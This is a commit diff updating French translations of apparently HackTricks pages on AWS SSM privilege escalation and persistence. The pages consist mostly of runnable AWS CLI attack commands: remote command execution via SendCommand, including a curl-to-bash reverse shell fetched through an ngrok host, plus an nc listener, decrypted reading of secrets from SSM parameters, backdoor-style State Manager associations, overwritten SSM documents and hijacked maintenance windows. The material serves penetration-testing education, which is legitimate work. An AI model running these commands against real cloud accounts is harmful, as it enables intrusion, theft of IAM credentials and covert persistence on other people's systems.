Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-04-21 08:25:10 +00:00
parent af61a22afd
commit 4953ff3c36
2 changed files with 125 additions and 26 deletions

View File

@@ -4,15 +4,15 @@
## SSM
Pour plus d'informations, voir :
Pour plus d'informations, consultez :
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Utilisation de ssm:CreateAssociation pour persistence
### Using ssm:CreateAssociation for persistence
Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, ce qui les rend adaptées à la backdoor-like persistence sans sessions interactives.
Un attaquant disposant de la permission **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à un intervalle fixe, ce qui les rend adaptées à une persistance de type backdoor sans sessions interactives.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, le SSM agent est en cours d'exécution, et que l'attaquant dispose de l'autorisation de créer des associations. Elle n'exige pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après création.
> Cette méthode de persistence fonctionne tant que linstance EC2 est gérée par Systems Manager, que lagent SSM est en cours dexécution, et que lattaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites `ssm:SendCommand`. **Important:** le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter lintervalle minimum de 30 minutes imposé par AWS. Pour une exécution immédiate ou unique, omettez complètement `--schedule-expression` — lassociation sexécutera une fois après sa création.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un attaquant disposant des permissions **`ssm:UpdateDocument`** et **`ssm:UpdateDocumentDefaultVersion`** peut escalader ses privilèges en modifiant des documents existants. Cela permet aussi de mettre en place de la persistence au sein de ce document. En pratique, lattaquant aurait également besoin de **`ssm:ListDocuments`** pour obtenir les noms des documents custom et, si lattaquant veut obfusquer son payload dans un document existant, **`ssm:GetDocument`** serait nécessaire aussi.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Ci-dessous se trouve un exemple de document qui peut être utilisé pour écraser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin d'éviter des problèmes avec l'invocation. Le document ci-dessous, par exemple, fonctionnera pour les exemples **`ssm:SendCommand`** et **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un attaquant disposant des permissions **`ssm:RegisterTaskWithMaintenanceWindow`** et **`ssm:RegisterTargetWithMaintenanceWindow`** peut élever ses privilèges en enregistrant dabord une nouvelle target avec une maintenance window existante, puis en mettant à jour lenregistrement dune nouvelle task. Cela permet une exécution sur les targets existantes, mais peut permettre à un attaquant de compromettre des compute avec différents roles en enregistrant de nouvelles targets. Cela permet aussi la persistence, car les tasks de maintenance windows sont exécutées à un intervalle prédéfini lors de la création de la window. En pratique, lattaquant aurait aussi besoin de **`ssm:DescribeMaintenanceWindows`** pour obtenir les IDs des maintenance windows.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## SSM
Pour plus d'informations sur SSM, consultez :
Pour plus d'infos sur SSM, consultez :
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Pour plus d'informations sur SSM, consultez :
### `ssm:SendCommand`
Un attaquant disposant de la permission **`ssm:SendCommand`** peut **exécuter des commandes sur des instances** exécutant l'Amazon SSM Agent et **compromettre le IAM Role** qui s'exécute à l'intérieur.
Un attaquant avec la permission **`ssm:SendCommand`** peut **exécuter des commandes sur des instances** exécutant Amazon SSM Agent et **compromettre l'IAM Role** qui s'exécute à l'intérieur.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Au cas où vous utiliseriez cette technique pour escalader des privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
Dans le cas où vous utilisez cette technique pour escalader les privilèges à lintérieur dune instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impact potentiel:** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution avec des SSM Agents.
**Impact potentiel :** privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs.
### `ssm:StartSession`
Un attaquant disposant de l'autorisation **`ssm:StartSession`** peut **ouvrir une session de type SSH sur des instances** exécutant l'Amazon SSM Agent et **compromettre l'IAM Role** s'y exécutant.
Un attaquant avec la permission **`ssm:StartSession`** peut **démarrer une session de type SSH dans des instances** exécutant Amazon SSM Agent et **compromettre le rôle IAM** qui y est exécuté.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Pour démarrer une session vous avez besoin du **SessionManagerPlugin** installé: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> Afin de démarrer une session, vous devez avoir **SessionManagerPlugin** installé: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs.
**Impact potentiel:** Privesc direct vers les rôles EC2 IAM attachés aux instances en cours d'exécution avec des SSM Agents actifs.
#### Privesc vers ECS
#### Privesc to ECS
Lorsque les **ECS tasks** s'exécutent avec **`ExecuteCommand` enabled** les utilisateurs disposant des permissions suffisantes peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\
Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_ et le conteneur cible via SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)\
Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des ECS tasks** ayant cette option activée simplement en exécutant:
Lorsque les **ECS tasks** s'exécutent avec **`ExecuteCommand` activé**, les utilisateurs disposant de suffisamment de permissions peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du container.\
Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) cela est fait en créant un canal sécurisé entre le device que vous utilisez pour initier la commande “_exec_ et le container cible avec SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)\
Par conséquent, les users avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des ECS tasks** avec cette option activée simplement en exécutant:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Impact potentiel :** Privesc direct vers les `ECS`IAM roles attachés aux tâches en cours d'exécution avec `ExecuteCommand` activé.
**Impact potentiel :** privesc direct vers les rôles `ECS` IAM attachés aux tâches en cours dexécution avec `ExecuteCommand` activé.
### `ssm:ResumeSession`
Un attaquant disposant de la permission **`ssm:ResumeSession`** peut re-**démarrer une session de type SSH sur des instances** exécutant l'Amazon SSM Agent avec un état de session SSM **déconnecté** et **compromettre le IAM Role** s'exécutant à l'intérieur de celle-ci.
Un attacker avec la permission **`ssm:ResumeSession`** peut redémarrer une session de type SSH dans des instances exécutant Amazon SSM Agent avec un état de session SSM **disconnected** et compromettre le rôle IAM qui sy exécute.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impact potentiel :** privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs et des sessions déconnectées.
**Impact potentiel :** privesc direct vers les rôles EC2 IAM attachés aux instances en cours dexécution avec des SSM Agents en cours dexécution et des sessions déconnectées.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Un attaquant disposant des permissions mentionnées pourra lister les **SSM parameters** et les **lire en clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des SSH keys ou des API keys.
Un attacker avec les permissions mentionnées va pouvoir lister les **SSM parameters** et **les lire en clair**. Dans ces parameters, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des API keys.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
### `ssm:ListCommands`
Un attaquant disposant de cette permission peut lister toutes les **commandes** envoyées et potentiellement y trouver des **informations sensibles**.
Un attaquant avec cette permission peut lister toutes les **commands** envoyées et, avec un peu de chance, y trouver des **informations sensibles**.
```
aws ssm list-commands
```
**Potential Impact:** Trouver des informations sensibles dans les lignes de commande.
**Impact potentiel :** Trouver des informations sensibles à l'intérieur des lignes de commande.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Un attaquant disposant de ces permissions peut lister toutes les **commands** envoyées et **lire la sortie** générée, en espérant y trouver des **informations sensibles**.
Un attacker avec ces permissions peut lister toutes les **commands** envoyées et **lire la sortie** générée, en espérant y trouver des **informations sensibles**.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -105,9 +105,9 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impact potentiel :** Trouver des informations sensibles dans la sortie des lignes de commande.
### Utilisation de ssm:CreateAssociation
### Using ssm:CreateAssociation
Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, les rendant adaptées à la backdoor-like persistence sans sessions interactives.
Un attaquant disposant de la permission **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour sexécuter à intervalle fixe, ce qui les rend adaptées à une persistence de type backdoor sans sessions interactives.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution, et que l'attaquant a l'autorisation de créer des associations. Elle ne requiert pas de sessions interactives ni la permission explicite ssm:SendCommand. **Important :** Le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après sa création.
> Cette méthode de persistence fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution, et que l'attaquant a la permission de créer des associations. Elle ne nécessite ni sessions interactives ni permissions explicites `ssm:SendCommand`. **Important :** le paramètre `--schedule-expression` (par ex. `rate(30 minutes)`) doit respecter l'intervalle minimum AWS de 30 minutes. Pour une exécution immédiate ou unique, omettez entièrement `--schedule-expression` — l'association s'exécutera une fois après sa création.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un attaquant disposant des permissions **`ssm:UpdateDocument`** et **`ssm:UpdateDocumentDefaultVersion`** peut escalader ses privilèges en modifiant des documents existants. Cela permet aussi la persistence au sein de ce document. En pratique, l'attaquant aurait également besoin de **`ssm:ListDocuments`** pour obtenir les noms des custom documents et, s'il souhaite obfusquer sa payload dans un document existant, **`ssm:GetDocument`** serait également nécessaire.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Voici un document d'exemple qui peut être utilisé pour écraser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin d'éviter des problèmes d'invocation. Le document ci-dessous, par exemple, conviendra aux exemples **`ssm:SendCommand`** et **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un attaquant disposant des permissions **`ssm:RegisterTaskWithMaintenanceWindow`** et **`ssm:RegisterTargetWithMaintenanceWindow`** peut élever ses privilèges en enregistrant dabord un nouveau target avec une maintenance window existante, puis en mettant à jour en enregistrant une nouvelle task. Cela permet lexécution sur les targets existants, mais peut aussi permettre à un attaquant de compromettre des compute avec différents rôles en enregistrant de nouveaux targets. Cela permet également la persistence, car les tasks des maintenance windows sont exécutées à un intervalle prédéfini lors de la création de la window. En pratique, lattaquant aurait aussi besoin de **`ssm:DescribeMaintenanceWindows`** pour obtenir les IDs des maintenance windows.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
Vous pouvez aussi utiliser SSM pour accéder à un projet Codebuild en cours d'exécution :
Vous pouvez aussi utiliser SSM pour entrer dans un projet codebuild en cours de build :
{{#ref}}
../aws-codebuild-privesc/README.md